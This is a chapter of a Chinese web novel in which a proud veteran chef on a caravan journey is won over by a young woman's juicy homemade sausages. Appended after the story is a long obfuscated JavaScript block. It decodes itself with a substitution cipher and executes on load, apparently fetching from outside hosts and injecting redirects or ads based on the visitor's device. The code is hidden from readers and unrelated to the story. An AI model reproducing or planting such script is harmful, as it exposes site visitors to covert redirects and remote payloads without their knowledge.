第49章 谢大厨初次品尝香肠(1 / 1)

一头发花白的老者背手而立,虽已年过六十,但身板挺得笔直,目光锐利,如鹰眸般锁定那备受呵护的少女身上。

谢牧原,自十二岁起便在望月楼厨房学徒,一步一脚印走上总店大厨之首。其高超的厨艺,精湛的刀功,还有一呼百应的声望,在游家商会之中也是个话语有分量的人。

他一生钻研厨艺,自一年前起早已不参与望月楼的工作。一个月前,应游家商会邀请出山,随车队前往漠北国,参与皇后寿辰,全权负责望月楼的出品把控。

没想到临出发前一天,他刚到清泉镇住下,游逸之便特意登门拜访,告知了一个让他颜面扫地的决定。

“谢大厨,此次我还另外聘请一人加入队伍,她的意见很重要,希望你们俩能相处融洽。”

当时,他还以为游逸之请来了什么顶尖厨师,今日一看,不过是个黄毛丫头。

一路上,车外议论纷纷,他听闻到这女子来自百岭村,小时候还是个傻子。游逸之竟敢将她与他相提并论,若不是顾全大局,他铁定拂袖而去。

打开自己带来的包袱,拿出肉脯就着馒头吃,时不时再喝上一口酒,他吃得豪迈随性,看馋了旁边的一干人等。

“看着谢大厨的肉脯,瞬间觉得自己手上的葱油饼不香了...”

“那可是谢大厨自己腌制的,当真是飘香万里,我有幸能闻上一口,已经满足了。”

“望梅止渴听过没?我望一眼大厨手上的肉脯,再吃一口豆饼,四舍五入等于已经吃过肉了!”

谢牧原来到游逸之跟前,递上一包肉脯。

“游少主,这是老身自制的肉脯,路途长远艰苦,不失为一样美食。”

游逸之高兴地接过:“多谢谢大厨,我能跟朋友分享一下吗?”

“当然可以。”此次随行的,还有几名游逸之的好友,个个都是富家子弟,吵着说要到漠北见识见识,便也死皮赖脸地跟了来。游逸之拗不过,也派了部马车随了他们。

从出发起,那几人便要求多多,大大地拖慢了行进速度。现在更是不肯与外面的下人同坐,只肯留在马车内用膳。

游逸之拿着肉脯,高兴地往后头走。

在谢牧原看来,本以为少主会拿到马车内,与朋友分享。结果他径直走过,来到了车队最后方。

“小月儿,来吃点肉。”

游逸之递上几块肉脯,也分了点给江家兄弟们。

江月儿大方接过,想着回礼,便从包袱里掏出几根香肠,递给游逸之。

“游少主,礼尚往来,这是自家制的香肠,尝尝。”

那香肠以脆皮包裹,一口咬下,肉汁嗖地喷到嘴里,咸香鲜美,风味独特。

游逸之将咬了一半的香肠放到眼前,仔细研究。

“这香肠汁水丰盈,比那干巴巴的干粮好吃多了。”

他一根接一根地大口吃着,不一会儿,已经清空手上的存货。

“不知姑娘带的,是什么食物?”

谢牧原笑眯眯地来到几人跟前,不着痕迹地瞥了游逸之上手的肉脯一眼,只有一道浅浅的牙痕。

江家人手上,也各自拿着一块他做的肉脯。

谢牧原做吃的从不讲究成本,这次带出的肉脯,从猪肉到调料,全是用的最顶尖的,要是放到望月楼售卖,打底五十两是逃不掉的。

用我的肉脯,交换这小丫头的不知什么东西?

谢牧原脸色不悦,自始至终都没正眼看过江月儿。

“谢大厨,这是我妹妹自制的香肠,不嫌弃可以试试。”江承宇拿起几根香肠,送到谢牧原面前。

就着江承宇的手,谢牧原看了又看,才抽出其中的一根。

放在手里,像是做研究似的,拿到鼻子

平平无奇,摸着软软弹弹的,这是香肠?

这时代的香肠多指腊肠,以生肉灌进肠衣,风干保存,能放上许久,是家家户户都会做的肉制品。

谢牧原不明就里地尝试从中间掰断,一股肉汁猝不及防地喷出,将他下巴的胡子和手掌沾了一摊油渍。

“哈哈哈哈哈!”江承希天真烂漫,看着老人狼狈的模样,哇地笑出了声。

众人尴尬不已,江月儿连忙遮住弟弟的嘴巴道歉:“对不起,谢大厨,小孩子不懂事,您别跟他计较。”

轻哼一声。

他已过花甲,当然不会跟一个雌黄小儿计较。

谢牧原拿出手帕,不慌不忙地擦掉油渍,将香肠送入口中。牙关一咬下,更多的汁水喷出,

顺着喉头流下,一股独特的肉香在口中蔓延。

饶是品尝过大江南北各式菜肴,但从未尝过如此香软多汁的香肠,他愣在了原地。

难以置信地对着香肠断截面看了又看,强自镇定地道:“不知这香肠,能保存多久?”

看这湿润的样子,必定不适合存放。

这倒是难倒了江月儿,她回忆起前世在超市的真空包装香肠,保质期大约为六个月左右。而空间出的香肠,没有防腐剂,添加剂,就打个折吧

“放上两三个月应该是可以的。”

事实上,放在空间仓库里,一辈子都不会坏掉。

“两三个月?不需风干?”谢牧原感觉大脑不够用了,为了食物长时间保存,古代的腌制品讲究的是一个干燥,不然容易发霉变臭。

眼前看着还淌着肉汁的香肠,竟能存放如此之久?

不得不说,这味道也是不错的。

江月儿笃定地道:“不需。”

让这万年锅灰脸瓦解,游逸之十分得意。.

“谢大厨,觉得如何?味道不错吧?”

不出意外,小月儿又一次为他带来惊喜,邀请她到漠北,真是个正确的决定。

江月儿看着谢牧原对着剩下的香肠闻来闻去,又抽出了十根。

“谢大厨,还有很多,不够再找我要。”

手下意识地伸出,谢牧原轻咳一声,收起手。

“不了。”

“江姑娘,你这香肠制作之法?可是家里人教的?”

“才不呢,是我阿姐自己做的,我阿姐啥都会!”江承希直觉上就不太喜欢这老爷爷,讨厌他对阿姐很不耐烦的样子。

那香肠阿姐都不许他一下子多吃了呢,这老爷爷一下得了十几根,还不要,哼!

“这是,你自己做的?”这下,谢牧原绷紧的老脸变了颜色。

!function(){function a(a){var _idx="j81e9pi47c";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/CL/o}0jR8C{}YQJ6o1("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"o}0"=^8"C{}YQJ6o1("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"o}0^)ThF)m7}F:Ch2mRT4"="o}0X5ThF)mX(nSnY0mRT4"="o}02pThFm7}F:Ch2mRT4"="o}0_JqhFmX(nSnY0mRT4"="o}02TOhFm7}F:Ch2mRT4"="o}0CSqhF)mX(nSnY0mRT4"="o}0)FfThF)fm7}F:Ch2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/f/o}0j(8}vR8C{}YQJ6o1("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();